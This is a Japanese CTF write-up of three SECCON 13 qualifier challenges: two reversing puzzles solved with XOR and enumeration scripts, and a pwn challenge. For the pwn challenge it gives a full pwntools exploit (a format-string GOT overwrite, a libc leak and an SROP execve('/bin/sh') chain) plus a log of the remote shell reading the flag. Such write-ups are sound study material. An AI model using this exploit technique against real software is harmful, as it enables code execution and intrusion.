caphosraです. SECCON 13 QualsにTSGで参加しました. 結果は国内7位ということで決勝には進めそうです. 本当にチームメンバーが凄すぎる.
自分はpwnのParagraphとrevのpackedを解きました. 記録上はrevのJumpも解いたことになっていますが, 雑にフラグをguessしただけなので"解けた"ことにしていいものか…? どうguessしたかは書きます.
rev: packed (93pt, 119teams) 見出しへのリンク
gdbをアタッチして手動で前から実行していくと, 入力文字列をある2つのバイト列とxorして0になるかどうかを判定していることがわかる. xorの性質から(a xor b) xor c == 0
はa == b xor c
なので, この2つのバイト列のxorをとってあげれば良い.
a = [0xe8, 0x4a, 0x0, 0x0, 0x0, 0x83, 0xf9, 0x49, 0x75, 0x44, 0x53, 0x57, 0x48, 0x8d, 0x4c, 0x37, 0xfd, 0x5e, 0x56, 0x5b, 0xeb, 0x2f, 0x48, 0x39, 0xce, 0x73, 0x32, 0x56, 0x5e, 0xac, 0x3c, 0x80, 0x72, 0xa, 0x3c, 0x8f, 0x77, 0x6, 0x80, 0x7e, 0xfe, 0xf, 0x74, 0x6, 0x2c, 0xe8, 0x3c, 0x1]
b = [0xbb, 0xf, 0x43, 0x43, 0x4f, 0xcd, 0x82, 0x1c, 0x25, 0x1c, 0xc, 0x24, 0x7f, 0xf8, 0x2e, 0x68, 0xcc, 0x2d, 0x9, 0x3a, 0xb4, 0x48, 0x78, 0x56, 0xaa, 0x2c, 0x42, 0x3a, 0x6a, 0xcf, 0xf, 0xdf, 0x14, 0x3a, 0x4e, 0xd0, 0x1f, 0x37, 0xe4, 0x17, 0x90, 0x39, 0x2b, 0x65, 0x1c, 0x8c, 0xf, 0x7c]
text = ""
for i in range(len(a)):
text += chr(a[i] ^ b[i])
print(text)
FLAG: SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}
Flagを見て初めてUPXに思いを馳せることが想定されているのか, と思った. 時代はやっぱり人の手でやるまごころデバッグですよ.
pwn: Paragraph (125pt, 65teams) 見出しへのリンク
ソースコードを見ると露骨にFormat String Attackしてね〜という顔をしたprintf
がいる.
// char name[24];
scanf("%23s", name);
printf(name);
printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);
ここで問題となるのはFormat String Attackでどこを書き換えてあげれば良いかである. このscanfでpayloadを送るタイミングではglibcのアドレスもわからないのでリターンアドレスを書き換えてROPするのは辛そうなので, GOTを書き換えてその下のprintf
をscanf
に挿げ替えることを考えた. こうするとちょうど下の行が,
scanf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", name);
と同等になるので, スタック上の変数name
に好きな長さの文字列を送り込める. scanf
はprintf
とかなり近いアドレスにあるので, アドレスを下位4bits書き換えるだけで良い. ただ, 固定の下位3bitsはいいとして, 残りの1bitはランダムなので1/16の確率でしか通らない. 100%解法が存在するのかかなり気になっている.
さて, あとはスタックに適当なpayloadを流せば良い. 今回は折角なのでSROPした.
#!/usr/bin/env python3
import sys
from pwn import *
import time
# REMOTE = ("", 5000)
EXEC = "./chall"
if len(sys.argv) == 1:
sock = process(EXEC)
IS_REMOTE = False
glibc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
ret = 171368
mod_rax = 0x0003fd21
else:
assert sys.argv[1] == "remote"
sock = remote("paragraph.seccon.games", 5000)
IS_REMOTE = True
glibc = ELF("./libc.so.6")
ret = 172490
mod_rax = 0x00045321
context.arch = "x86_64"
sock.debug = True
elf = ELF("./chall")
rop = ROP([glibc])
input("[;] Waiting...")
printf_addr = glibc.symbols["printf"]
scanf_addr = glibc.symbols["__isoc99_scanf"]
print(f"[!] printf: {hex(printf_addr)}")
print(f"[!] scanf: {hex(scanf_addr)}")
print(f"[!] ret: {hex(ret)}")
printf_got = elf.got["printf"]
print(f"[!] printf got: {hex(printf_got)}")
lower = scanf_addr % 0x1000 + 0x1000
print(f"[!] lower: {hex(lower)}")
payload = \
f"%{lower}c".encode() \
+ b"%8$hn" \
+ b"%11$p"
payload += \
b"A" * (0x10 - len(payload)) \
+ p64(printf_got)[0:6]
sock.sendlineafter(b".\n", payload)
sock.recvuntil(b"0x")
glibc.address = int(sock.recv(12), 16) - ret
print(f"[!] glibc base: {hex(glibc.address)}")
mod_rax = glibc.address + mod_rax
binsh = next(glibc.search(b"/bin/sh\x00"))
sigret_frame = SigreturnFrame()
sigret_frame.rax = constants.SYS_execve
sigret_frame.rdi = binsh
sigret_frame.rsi = 0
sigret_frame.rdx = 0
sigret_frame.rip = mod_rax + 6
phrase1 = b" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted "
payload = \
b"A" * 0x28 \
+ p64(mod_rax) \
+ bytes(sigret_frame)
phrase2 = b" warmly.\nl"
print(f"[!] payload: {payload}")
payload = phrase1 + payload + phrase2
sock.sendline(payload)
sock.interactive()
実行するとこんな感じ.
[+] Opening connection to paragraph.seccon.games on port 5000: Done
[!] Could not populate PLT: No module named 'distutils'
[*] '/ctf/2024/seccon/Paragraph/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[!] Could not populate PLT: No module named 'distutils'
[*] '/ctf/2024/seccon/Paragraph/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[*] Loaded 111 cached gadgets for './libc.so.6'
[;] Waiting...
[!] printf: 0x600f0
[!] scanf: 0x5fe00
[!] ret: 0x2a1ca
[!] printf got: 0x404028
[!] lower: 0x1e00
[!] glibc base: 0x7f1a502a2000
[!] payload: b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!s.P\x1a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/\xd4FP\x1a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00's.P\x1a\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
[*] Switching to interactive mode
(@@$
$ cd /
$ ls
app
bin
boot
dev
etc
flag-7be278fe51857375210d562e53f6097e.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag-7be278fe51857375210d562e53f6097e.txt
SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
$
[*] Interrupted
[*] Closed connection to paragraph.seccon.games port 5000
FLAG: SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}
書いたコードがバグっているのか単に1/16を引けてないのかわからないのがもどかしかった.
rev: Jump (118pt, 69teams) 見出しへのリンク
aarch64のrev問題.
チームメイトのliesegangさんによって割と解析が進んでいる状態で助太刀に入った. SECCONの運営がDiscordでバイナリを通るフラグが複数あることに言及していたように, angrで解くと大量の答えが出たとのことだった. また, Ghidraで見たときに, 以下の処理が文字列を4文字ずつ確認する操作のように思えるという啓示をいただいた.
DAT_00412030 = (DAT_00412030 & 1 & param_1 == 0x336b3468) != 0;
DAT_00412030 = (DAT_00412030 & 1 & param_1 == 0x5f74315f) != 0;
DAT_00412030 = (DAT_00412030 & 1 & param_1 == 0x357b4e4f) != 0;
DAT_00412030 = (DAT_00412030 & 1 & *(int *)(param_1 + DAT_00412038) + *(int *)(param_1 + DAT_00412038 + -4) == -0x62629d6b) != 0;
DAT_00412030 = (DAT_00412030 & 1 & *(int *)(param_1 + DAT_00412038) + *(int *)(param_1 + DAT_00412038 + -4) == -0x6b2c5e2c) != 0;
DAT_00412030 = (DAT_00412030 & 1 & *(int *)(param_1 + DAT_00412038) - *(int *)(param_1 + DAT_00412038 + -4) == 0x47cb363b) != 0;
DAT_00412030 = (DAT_00412030 & 1 & param_1 == 0x43434553) != 0;
DAT_00412030 = (DAT_00412030 & 1 & *(int *)(param_1 + DAT_00412038) + *(int *)(param_1 + DAT_00412038 + -4) == -0x626b6223) != 0;
なんかguessできそう.
ということで, 値を足したり引いたりした時にありえるパターンを全列挙してちゃんとした文字列になっているものを取捨選択していったらフラグを得た. 以下が実際に作業したファイルの成れの果てである. 上のseeds
に直接比較されている数値を入れて, 下のdiffs
に比較に用いられた数字を入れると適当に全列挙してくれるスクリプトである. だいぶ候補が絞れていくのでdiffs
は実行のたびに要素が少なくなっていく.
from pwn import *
seeds = [0x43434553, 0x357b4e4f, 0x336b3468, (- 0x5f74315f - 0x6b2c5e2c + 0x626b6223 - 0x62629d6b) % 0x100000000]
diffs = [0x47cb363b]
# 0x5f74315f, 0x6b2c5e2c
for seed in seeds:
for diff in diffs:
print(f"{p32(seed)}, {p32(diff)}")
print(f" {p32((seed - diff) % 0x100000000)}")
print(f" {p32((diff - seed) % 0x100000000)}")
print(f" {p32((seed + diff) % 0x100000000)}")
print(f" {p32((-seed - diff) % 0x100000000)}")
FLAG: SECCON{5h4k3_1t_up_5h-5h-5h5hk3}
解析パートはliesegangさんだし, 最後にguessだけしたので"自分が解いた問題"に含めるべきではないという考え.
まとめ 見出しへのリンク
もっと知識と技術をつけて出直してきます.
(おまけ) 時間の使い方 見出しへのリンク
最初にParagraphに手を出し, 解けたので余っていたpackedを解き, revのF is for Flagに手をつけた. 途中でJumpをguessすることと2時間の仮眠を挟んだ. 結局F is for Flagは解けなかった.